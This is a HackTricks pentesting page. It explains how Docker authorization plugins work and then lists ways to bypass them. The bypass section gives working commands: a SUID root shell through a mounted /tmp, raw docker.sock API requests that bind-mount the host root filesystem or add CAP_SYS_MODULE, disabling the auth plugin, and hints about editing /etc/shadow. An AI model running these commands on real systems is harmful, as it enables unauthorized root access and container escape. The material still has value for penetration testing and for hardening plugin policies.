AuthZ& AuthN - Docker Access Authorization Plugin - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Docker’s out-of-the-box authorization model is all or nothing. Any user with permission to access the Docker daemon can run any Docker client command. The same is true for callers using Docker’s Engine API to contact the daemon. If you require greater access control, you can create authorization plugins and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can configure granular access policies for managing access to the Docker daemon.

# Basic architecture

Docker Auth plugins are external plugins you can use to allow/deny actions requested to the Docker Daemon depending on the user that requested it and the action requested.

The following info is from the docs

When an HTTP request is made to the Docker daemon through the CLI or via the Engine API, the authentication subsystem passes the request to the installed authentication plugin(s). The request contains the user (caller) and command context. The plugin is responsible for deciding whether to allow or deny the request.

The sequence diagrams below depict an allow and deny authorization flow:

Each request sent to the plugin includes the authenticated user, the HTTP headers, and the request/response body. Only the user name and the authentication method used are passed to the plugin. Most importantly, no user credentials or tokens are passed. Finally, not all request/response bodies are sent to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.

For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.

During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.

## Several Plugins

You are responsible for registering your plugin as part of the Docker daemon startup. You can install multiple plugins and chain them together. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when all the plugins grant access to the resource, is the access granted.

# Plugin Examples

## Twistlock AuthZ Broker

The plugin authz allows you to create a simple JSON file that the plugin will be reading to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.

This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`

In the page route_parser.go you can find the relation between the requested URL and the action. In the page types.go you can find the relation between the action name and the action

## Simple Plugin Tutorial

You can find an easy to understand plugin with detailed information about installation and debugging here: https://github.com/carlospolop-forks/authobot

Read the `README` and the `plugin.go` code to understand how is it working.

# Docker Auth Plugin Bypass

## Enumerate access

The main things to check are the which endpoints are allowed and which values of HostConfig are allowed.

To perform this enumeration you can use the tool https://github.com/carlospolop/docker_auth_profiler.

## disallowed `run --privileged`

### Minimum Privileges

    docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

### Running a container and then getting a privileged session

In this case the sysadmin disallowed users to mount volumes and run containers with the `--privileged` flag or give any extra capability to the container:

    docker run -d --privileged modified-ubuntu
    docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
    See 'docker run --help'.

However, a user can create a shell inside the running container and give it the extra privileges:

    docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
    #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

    # Now you can run a shell with --privileged
    docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
    # With --cap-add=ALL
    docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
    # With --cap-add=SYS_ADMIN
    docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host.

## Mount Writable Folder

In this case the sysadmin disallowed users to run containers with the `--privileged` flag or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:

    host> cp /bin/bash /tmp #Cerate a copy of bash
    host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
    docker container> chown root:root /host/bash
    docker container> chmod u+s /host/bash
    host> /tmp/bash
     -p #This will give you a shell as root

> [!NOTE] Note that maybe you cannot mount the folder `/tmp` but you can mount a different writable folder. You can find writable directories using: `find / -writable -type d 2>/dev/null`

> Note that not all the directories in a linux machine will support the suid bit! In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.

> Note also that if you can mount `/etc` or any other folder containing configuration files, you may change them from the docker container as root in order to abuse them in the host and escalate privileges (maybe modifying `/etc/shadow`)

## Unchecked API Endpoint

The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a blacklist approach with the endpoints and the attributes he might forget some of them that could allow an attacker to escalate privileges.

You can check the docker API in https://docs.docker.com/engine/api/v1.40/#

## Unchecked JSON Structure

### Binds in root

It's possible that when the sysadmin configured the docker firewall he forgot about some important parameter of the API like "Binds".
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:

    docker version #First, find the API version of docker, 1.40 in this example
    docker images #List the images available
    #Then, a container that mounts the root folder of the host
    curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
    docker start f6932bc153ad #Start the created privileged container
    docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
    #You can access the host filesystem

> [!WARNING] Note how in this example we are using the `Binds` param as a root level key in the JSON but in the API it appears under the key `HostConfig`

### Binds in HostConfig

Follow the same instruction as with Binds in root performing this request to the Docker API:

    curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

### Mounts in root

Follow the same instruction as with Binds in root performing this request to the Docker API:

    curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

### Mounts in HostConfig

Follow the same instruction as with Binds in root performing this request to the Docker API:

    curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

## Unchecked JSON Attribute

It's possible that when the sysadmin configured the docker firewall he forgot about some important attribute of a parameter of the API like "Capabilities" inside "HostConfig". In the following example it's possible to abuse this misconfiguration to create and run a container with the SYS_MODULE capability:

    docker version
    curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
    docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
    docker ps
    docker exec -it c52a77629a91 bash
    capsh --print
    #You can abuse the SYS_MODULE capability

> [!NOTE] The `HostConfig` is the key that usually contains the interesting privileges to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.

## Disabling Plugin

If the sysadmin forgotten to forbid the ability to disable the plugin, you can take advantage of this to completely disable it!

    docker plugin list #Enumerate plugins

    # If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
    docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
    # "authbolt" is the name of the previous plugin

    docker plugin disable authobot
    docker run --rm -it --privileged -v /:/host ubuntu bash
    docker plugin enable authobot

Remember to re-enable the plugin after escalating, or a restart of docker service won’t work!

## Auth Plugin Bypass writeups

- https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.